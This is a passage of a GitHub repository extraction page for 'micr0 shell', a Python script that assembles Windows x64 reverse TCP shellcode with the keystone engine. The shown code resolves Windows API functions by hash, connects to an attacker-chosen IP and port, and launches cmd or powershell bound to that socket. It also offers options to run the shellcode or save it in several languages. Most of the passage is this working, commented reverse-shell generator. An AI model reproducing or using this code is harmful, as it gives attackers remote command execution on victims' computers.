	parser.add_argument('--port', '-p', required=False, default=443, dest='port',help='The local listening port, default value is 443')
	parser.add_argument('--language', '-l', required=False, default='python', dest='lan',help='The language of desired shellcode runner, default language is python. Support c, csharp, python, powershell')
	parser.add_argument('--variable', '-v', required=False, default='buf', dest='var',help='The variable name of shellcode array, default variable is buf')
	parser.add_argument('--type', '-t', required=False, default='cmd', dest='shell_type',help='The shell type, Powershell or Cmd, default shell is cmd')
	parser.add_argument('--execution', '-e', required=False, default='False', dest='code_exec',help='Whether to execution generated shellcode? True/False')
	parser.add_argument('--save', '-s', required=False, default='False', dest='save',help='Whether to save the generated shellcode to a bin file, True/False')
	parser.add_argument('--output', '-o', required=False, default='', dest='output',help='If choose to save the shellcode to file, the desired location.')

	args = parser.parse_args()
	ip=args.ip
	port=int(args.port)
	lan=args.lan.lower()
	var=args.var
	shell_type=args.shell_type.lower()
	save=args.save.lower()
	output=args.output
	code_exec=args.code_exec.lower()
	print("[+]Shellcode Settings:")
	print("******** IP Address: "+ip)
	print("******** Listening Port: "+str(port))
	print("******** Language of desired shellcode runner: "+lan)
	print("******** Shellcode array variable name: "+var)
	print("******** Shell: "+shell_type)
	print("******** Shellcode Execution: "+code_exec)
	print("******** Save Shellcode to file: "+save+"\n\n")

	args = parser.parse_args()
	address_argument = get_address_argument(ip, port)
	shell_type = get_shell_type_argument(shell_type)

	CODE = (
		"       mov rbp, rsp;"
		"       and spl, 0xf0;"
		"       sub rsp, 0x60;"
		"       mov qword ptr [rsp+0x10], rbp;"
		"       mov rbp, rsp;"

		"find_kernel32:"
		"       xor rcx, rcx;"
		"       mov rax, gs:[rcx+0x60];"                # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address
		"       mov rax, [rax+0x18];"                   # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure
		"       mov rax, [rax+0x30];"                   # RAX is the address of the InInitializationOrderModuleList member in the _PEB_LDR_DATA structure
		"       mov rax, [rax+rcx];"                    # Current module is kernelbase.
		"       mov rax, [rax+rcx];"                    # Current module is ntdll.dll
		"       mov rax, [rax+0x10];"                   # Current module is kernel32.dll
		"       mov qword ptr [rbp+0x48], rax;"         # RAX stores the base address of the module, get the NT header offset
		"       jmp jump_section;"

		"parse_module:"                                 # Parsing DLL file in memory
		"       xor r11, r11;"
		"       mov r11b, 0x3c;"
		"       mov r8d, dword ptr [rcx+r11];"          # RCX stores the base address of the module, get the NT header offset
		"       add r8, rcx;"
		"       add r11b, 0x4c;"
		"       mov r8d, dword ptr [r8+r11];"
		"       add r8, rcx;"                           # Offset to Export Directory
		"       mov r9d, dword ptr [r8+0x18];"          # R9D stores the number of function names as an index value
		"       mov r10d, dword ptr [r8+0x20];"         # Get the RVA of ENPT
		"       add r10, rcx;"                          # R10 stores  the VMA of ENPT

		"search_function:"                              # Search for a given function
		"       dec r9;"                                # Decrease index by 1
		"       mov esi, dword ptr [r10+r9*4];"         # RVA of function name string
		"       add rsi, rcx;"                          # RSI points to function name string
		"       xor rax, rax;"
		"       xor r11, r11;"
		"       cld;"                                   # Clear directional flag

		"function_hashing:"                             # Hash function name function
		"       lodsb;"                                 # Copy the next byte of RSI to Al
		"       test al, al;"                           # If reaching the end of the string
		"       jz compare_hash;"                       # Compare hash
		"       ror r11d, 13;"                          # Part of hash algorithm
		"       add r11d, eax;"                         # Part of hash algorithm
		"       jmp function_hashing;"                  # Next byte

		"compare_hash:"
		"       cmp edx, r11d;"                         # Compare hashes
		"       jnz search_function;"                   # If not equal, search the previous function (index decreases)

		" return_function:"
		"       mov eax, dword ptr [r8+0x24];"          # Ordinal table RVA
		"       add rax, rcx;"                          # Ordinal table VMA
		"       movzx edx, word ptr [rax+r9*2];"        # Ordinal value -1
		"       mov eax, dword ptr [r8+0x1c];"          # RVA of EAT
		"       add rax, rcx;"                          # VMA of EAT
		"       mov eax, dword ptr [rax+rdx*4];"        # RAX stores RVA of the function
		"       add rax, rcx;"                          # RAX stores  VMA of the function
		"       ret;"

		"jump_section:"                                 # Achieve PIC and elminiate 0x00 byte

		"get_createprocessa:"
		"       mov rcx, qword ptr [rbp+0x48];"         # RBP + 0x48 stores base address of Kernel32.dll
		"       mov edx, 0x16b3fe72;"                   # Hash of CreateProcessA
		"       call parse_module;"                     # Get the address of CreateProcessA
		"       mov qword ptr [rbp+0x18], rax;"         # RBP + 0x20 stores the address of CreateProcessA function

		"get_loadlibrarya:"
		"       mov rcx, qword ptr [rbp+0x48];"         # RBP + 0x48 stores base address of Kernel32.dll
		"       mov edx, 0xec0e4e8e;"                   # Hash of LoadLibraryA
		"       call parse_module;"                     # Get the address of LoadLibraryA
		"       mov qword ptr [rbp+0x20], rax;"         # RBP + 0X20 stores the address of LoadLibraryA function

		"load_module:"
		"       xor rcx, rcx;"
		"       mov cx, 0x6c6c;"                        # Save the string "ll" to RCX
		"       push rcx;"                              # Push the string to the stack
		"       mov rcx, 0x642e32335f325357;"           # Save the string "ws2_32.d" to RCX
		"       push rcx;"                              # Push the string to the stack
		"       mov rcx, rsp;"                          # RCX points to the "ws2_32.dll" string
		"       sub rsp, 0x20;"                         # Function prologue
		"       call qword ptr [rbp+0x20];"             # LoadLibraryA("ws2_32.dll")
		"       mov qword ptr [rbp+0x40], rax;"         # RBP + 0x40 stores the base address of ws2_32.dll

		"get_wsastartup:"
		"       mov rcx, qword ptr [rbp+0x40];"         # RBP + 0x40 stores base address of ws2_32.dll
		"       mov edx, 0x3bfcedcb;"                   # Hash of WSAStartup
		"       call parse_module;"                     # Get the address of WSAStartup
		"       mov qword ptr [rbp+0x28], rax;"         # RBP + 0x28 stores the address of WSAStartup function

		"get_wsasocketa:"
		"       mov rcx, qword ptr [rbp+0x40];"         # RBP + 0x40 stores base address of ws2_32.dll
		"       mov edx, 0xadf509d9;"                   # Hash of WSASocketA
		"       call parse_module;"                     # Get the address of WSASocketA
		"       mov qword ptr [rbp+0x30], rax;"         # RBP + 0x30 stores the address of WSASocketA function

		"get_connect:"
		"       mov rcx, qword ptr [rbp+0x40];"         # RBP + 0x40 stores base address of ws2_32.dll
		"       mov edx, 0x60aaf9ec;"                   # Hash of connect
		"       call parse_module;"                     # Get the address of connect
		"       mov qword ptr [rbp+0x38], rax;"         # RBP + 0x38 stores the address of connect function

		"call_wsastartup:"
		"       mov cx, 0x202;"                         # Assign 0x202 to wVersionRequired and store it in RCX as the 1st parameter
		"       sub rsp, 0x7f;"                         # Reserve enough space for the lpWSDATA structure
		"       sub rsp, 0x7f;"
		"       sub rsp, 0x62;"
		"       mov rdx, rsp;"                          # Assign the address of lpWSAData to the RDX register as the 2nd parameter
		"       call qword ptr [rbp+0x28];"             # RBP + 0x28 stores the address of WSAStartup function
		"       mov rsp, rbp;"

		"call_wsasocketa:"
		"       xor rdx, rdx;"
		"       xor r8, r8;"
		"       xor r9, r9;"                            # lpProtocolInfo is 0 as the 4th parameter
		                                                # dwFlags is 0 as the 6th parameter, stored on the stack
		"       push rdx;"                              # g is 0 as the 5th parameter, stored on the stack
		"       push rdx;"
		"       push rdx;"
		"       push rdx;"
		"       mov cl, 2;"                             # AF is 2 as the 1st parameter
		"       mov dl, 1;"                             # Type is 1 as the 2nd parameter
		"       mov r8b, 6;"                            # Protocol is 6 as the 3rd parameter
		"       call qword ptr [rbp+0x30];"             # RBP + 0x28 stores the address of WSASocketA function
		"       mov qword ptr [rsp+0x10], rax;"         # The member STDERROR is the return value of WSASocketA
		"       mov qword ptr [rsp+0x18], rax;"         # The member STDOUTPUT is the return value of WSASocketA
		"       mov qword ptr [rsp+0x20], rax;"         # The member STDINPUT is the return value of WSASocketA

		"call_connect:"
		"       mov ecx, eax;"                          # Pass the socket descriptor returned by WSASocketA to RCX as the 1st parameter
		"       mov rax, {};"
		"       not rax;"
		"       push rax;"                              # Pass IP to the corresponding position in the socketaddr structure
		"       mov rdx, rsp;"                          # Pointer to the socketaddr structure as the 2nd parameter
		"       mov r8b, 0x10;"                         # Set namelen member to 0x10
		"       sub rsp, 0x20;"                         # Function epilogue
		"       call qword ptr [rbp+0x38];"             # RBP + 0x38 stores the address of connect function

		"call_createprocessa:"
		"       xor rcx, rcx;"
		"       mov cl, 1;"
		"       ror rcx, 0x18;"
		"       mov qword ptr [rsp+0x20], rcx;"         # dwFlags=0x100
		"       mov qword ptr [rsp+0x10], rax;"
		"       mov qword ptr [rsp+0x08], rax;"
		"       push rax;"
		"       push rax;"
		"       push 0x68;"                             # cb=0x68
		"       mov r8, rsp;"                           # Pointer to STARTINFOA structure
		"       {};"
		"       mov rdx, rsp;"                          # Pointer to "cmd.exe" is stored in the RCX register
		"       lea rcx, qword ptr [rsp-0x20];"
		"       push rcx;"                              # Address of the ProcessInformation structure as the 10th parameter
		"       push r8;"                               # Address of the STARTINFOA structure as the 9th parameter
		"       push rax;"                              # Value of lpCurrentDirectory is 0 as the 8th parameter
		"       push rax;"                              # lpEnvironment=0 as the 7th argument
		"       xor rcx, rcx;"
		"       mov cl, 1;"
		"       rol ecx, 27;"
		"       push rcx;"                              # dwCreationFlags=0 as the 6th argument
		"       push 1;"                                # Value of bInheritHandles is 1 as the 5th parameter
		"       sub rsp, 0x20;"                         # Function epilogue
		"       mov rcx, rax;"
		"       call qword ptr [rbp+0x18];"             # RBP + 0x20 stores the address of CreateProcessA function

		"       mov rsp, qword ptr [rbp+0x10];"
		"       ret;"
	).format(address_argument, shell_type)

	ks = Ks(KS_ARCH_X86, KS_MODE_64)
	encoding, count = ks.asm(CODE)
	output_shellcode(lan,encoding,var,code_exec,save)


================================================
FILE: requirements.txt
================================================
keystone
keystone-engine
Download .txt
gitextract_v_rlnvox/

├── README.md
├── micr0 shell.py
└── requirements.txt
Download .txt
SYMBOL INDEX (5 symbols across 1 files)

FILE: micr0 shell.py
  function print_banner (line 45) | def print_banner():
  function b_not (line 61) | def b_not(num, size):
  function get_address_argument (line 72) | def get_address_argument(ip, port):
  function get_shell_type_argument (line 81) | def get_shell_type_argument(shell_type):
  function output_shellcode (line 95) | def output_shellcode(lan,encoding,var,code_exec,save):
Condensed preview — 3 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (43K chars).
[
  {
    "path": "README.md",
    "chars": 18067,
    "preview": "# micr0 shell\nMicr0shell is a lightweight and efficient Python script designed for dynamically generating Windows X64 Po"
  },
  {
    "path": "micr0 shell.py",
    "chars": 19313,
    "preview": "import ctypes, struct\nimport argparse\nfrom keystone import *\n\n# Exploit Author: Senzee\n# Title: Windows/x64 - Reverse TC"
  },
  {
    "path": "requirements.txt",
    "chars": 25,
    "preview": "keystone\nkeystone-engine\n"
  }
]

About this extraction

This page contains the full source code of the senzee1984/micr0_shell GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 3 files (36.5 KB), approximately 14.3k tokens, and a symbol index with 5 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!